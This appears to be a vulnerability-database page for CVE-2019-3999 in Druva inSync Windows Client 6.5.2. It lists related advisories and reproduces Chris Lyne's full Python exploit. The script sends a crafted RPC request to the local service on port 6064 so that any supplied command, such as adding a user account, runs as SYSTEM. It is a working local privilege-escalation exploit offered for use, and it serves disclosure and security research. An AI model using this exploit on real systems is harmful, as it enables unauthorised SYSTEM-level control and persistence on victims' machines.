Lucene search
+L

Druva inSync Windows Client 6.5.2 - Local Privilege Escalation Exploit

🗓️ 30 Apr 2020 00:00:00Reported by Chris LyneType 
zdt
 zdt
🔗 0day.today👁 78 Views

Druva inSync Windows Client Local Privilege Escalatio

Related
Code
ReporterTitlePublishedViews
Family
zdt
Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation Exploit
12 May 202000:00
zdt
Circl
CVE-2019-3999
29 Apr 202000:00
circl
CNVD
Druva inSync Windows Client Arbitrary OS Command Execution Vulnerability
26 Feb 202000:00
cnvd
CVE
CVE-2019-3999
25 Feb 202018:15
cve
Cvelist
CVE-2019-3999
25 Feb 202018:15
cvelist
Exploit DB
Druva inSync Windows Client 6.5.2 - Local Privilege Escalation
29 Apr 202000:00
exploitdb
Metasploit
Druva inSync inSyncCPHwnet64.exe RPC Type 5 Privilege Escalation
6 May 202014:09
metasploit
NVD
CVE-2019-3999
25 Feb 202019:15
nvd
OSV
CVE-2019-3999
25 Feb 202019:15
osv
Packet Storm
Druva inSync Windows Client 6.5.2 Privilege Escalation
29 Apr 202000:00
packetstorm
Rows per page
# Exploit Title: Druva inSync Windows Client 6.5.2 - Local Privilege Escalation
# Exploit Author: Chris Lyne
# Vendor Homepage: druva.com
# Software Link: https://downloads.druva.com/downloads/inSync/Windows/6.5.2/inSync6.5.2r99097.msi
# Version: 6.5.2
# Tested on: Windows 10
# CVE : CVE-2019-3999
# See also: https://www.tenable.com/security/research/tra-2020-12

import socket
import struct
import sys

# Command injection in inSyncCPHwnet64 RPC service
# Runs as nt authority\system. so we have a local privilege escalation

if len(sys.argv) < 2:
    print "Usage: " + __file__ + " <quoted command to execute>"
    print "E.g. " + __file__ + " \"net user /add tenable\""
    sys.exit(0)

ip = '127.0.0.1'
port = 6064
command_line = sys.argv[1]

# command gets passed to CreateProcessW
def make_wide(str):
    new_str = ''
    for c in str:
        new_str += c
        new_str += '\x00'
    return new_str

hello = "inSync PHC RPCW[v0002]"
func_num = "\x05\x00\x00\x00"      # 05 is to run a command
command_line = make_wide(command_line)
command_length = struct.pack('<i', len(command_line))

# send each request separately
requests = [ hello, func_num, command_length, command_line ]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

i = 1
for req in requests:
    print 'Sending request' + str(i)
    sock.send(req)
    i += 1

sock.close()

print "Done."

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Apr 2020 00:00Current
0.6Low risk
Vulners AI Score0.6
CVSS 27.2
CVSS 3.17.8
EPSS0.08566
78